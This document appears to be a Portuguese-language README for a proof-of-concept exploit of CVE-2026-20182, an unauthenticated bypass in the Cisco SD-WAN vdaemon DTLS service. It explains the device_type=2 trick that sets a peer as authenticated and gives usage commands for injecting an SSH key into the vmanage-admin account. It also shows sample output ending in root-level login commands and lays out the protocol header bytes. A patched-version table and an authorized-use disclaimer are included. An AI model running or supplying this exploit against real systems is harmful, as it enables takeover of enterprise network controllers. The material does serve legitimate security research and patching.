
CVE-2026-20182 PoC - Cisco Catalyst SD-WAN Controller / Manager Bypass de Autenticação (CVSS 10.0)
Um exploit de prova de conceito para CVE-2026-20182, um bypass de autenticação crítico (CVSS 10.0) no serviço DTLS vdaemon (UDP/12346) no Cisco Catalyst SD-WAN Controller (vSmart) e Manager (vManage).
Divulgado: 14 de maio de 2026 por Rapid7 (Stephen Fewer & Jonah Burgess)
CISA KEV: Adicionado em 14 de maio de 2026 (Diretiva de Emergência 26-03)
CVSS: 10.0 — CWE-287: Autenticação Incorreta
O serviço vdaemon usa um handshake DTLS multifásico para autenticar peers do plano de controle. A função vbond_proc_challenge_ack() implementa a verificação de certificado específica do tipo de dispositivo — mas o tipo de dispositivo 2 (vHub) não possui caminho de código de verificação. Enviar um CHALLENGE_ACK com device_type=2 faz com que a função ignore todas as condicionais e defina incondicionalmente peer->authenticated = 1.
Nenhuma credencial válida, nenhum certificado assinado por CA e nenhum conhecimento da implantação SD-WAN são necessários.
/home/vmanage-admin/.ssh/authorized_keys via MSG_VMANAGE_TO_PEER (msg_type=14)vmanage-adminpython3 cve-2026-20182.py -t <target> [options]
| Argument | Description |
|---|---|
-t, --target | IP ou hostname do alvo |
--port | Porta UDP do vdaemon (padrão: 12346) |
--key-file | Caminho para uma chave pública SSH existente a ser injetada (opcional) |
--netconf | Verificar a exploração conectando-se ao NETCONF via SSH |
# Generate a fresh key pair and exploit
python3 cve-2026-20182.py -t 192.168.1.100
# Use an existing public key
python3 cve-2026-20182.py -t 192.168.1.100 --key-file ~/.ssh/id_rsa.pub
# Exploit and verify via NETCONF
python3 cve-2026-20182.py -t 192.168.1.100 --netconf
[*] Targeting 192.168.1.100:12346 (vdaemon DTLS)
[+] DTLS handshake complete (received msg_type=8, 1027 bytes)
[*] Sending CHALLENGE_ACK with device_type=2 (vHub) ...
[+] peer->authenticated = 1 (authentication bypassed!)
[*] Sending HELLO ...
[+] Peer is UP state (peering handshake bypass successful)
[*] Injecting SSH public key ...
[+] NETCONF: ssh -i /tmp/cve-2026-20182_key -o HostKeyAlgorithms=+ssh-rsa -p 830 [email protected]
[+] SSH: ssh -i /tmp/cve-2026-20182_key -o HostKeyAlgorithms=+ssh-rsa [email protected]
| Release | Fixed Version |
|---|---|
| < 20.9 | Migre para uma versão suportada |
| 20.9 | 20.9.9.1 |
| 20.10 | 20.12.7.1 |
| 20.11 | 20.12.7.1 |
| 20.12 | 20.12.5.4 / 20.12.6.2 / 20.12.7.1 |
| 20.13 | 20.15.5.2 |
| 20.14 | 20.15.5.2 |
| 20.15 | 20.15.4.4 / 20.15.5.2 |
| 20.16 | 20.18.2.2 |
| 20.18 | 20.18.2.2 |
| 26.1.1 | 26.1.1.1 |
cisco_sdwan_vhub_auth_bypass — Módulo auxiliar no framework MetasploitO cabeçalho do protocolo vdaemon tem 12 bytes:
| Offset | Size | Field | Notes |
|---|---|---|---|
| 0 | 1 | msg_type | Nibble baixo = tipo, nibble alto = versão |
| 1 | 1 | device_info | Nibble alto = tipo_de_dispositivo, nibble baixo = flags |
| 2 | 1 | flags | Valor padrão 0xA0 |
| 3 | 1 | padding | Sempre 0x00 |
| 4-7 | 4 | domain_id | uint32 big-endian |
| 8-11 | 4 | site_id | uint32 big-endian |
Tipos de dispositivo: 1=vEdge, 2=vHub, 3=vSmart, 4=vBond, 5=vManage
openssl (para transporte DTLS)cryptography (pip install cryptography)Este exploit destina-se exclusivamente a operações autorizadas de red team, testes de penetração e pesquisa de segurança em sistemas onde você tenha permissão explícita por escrito. O uso não autorizado é ilegal.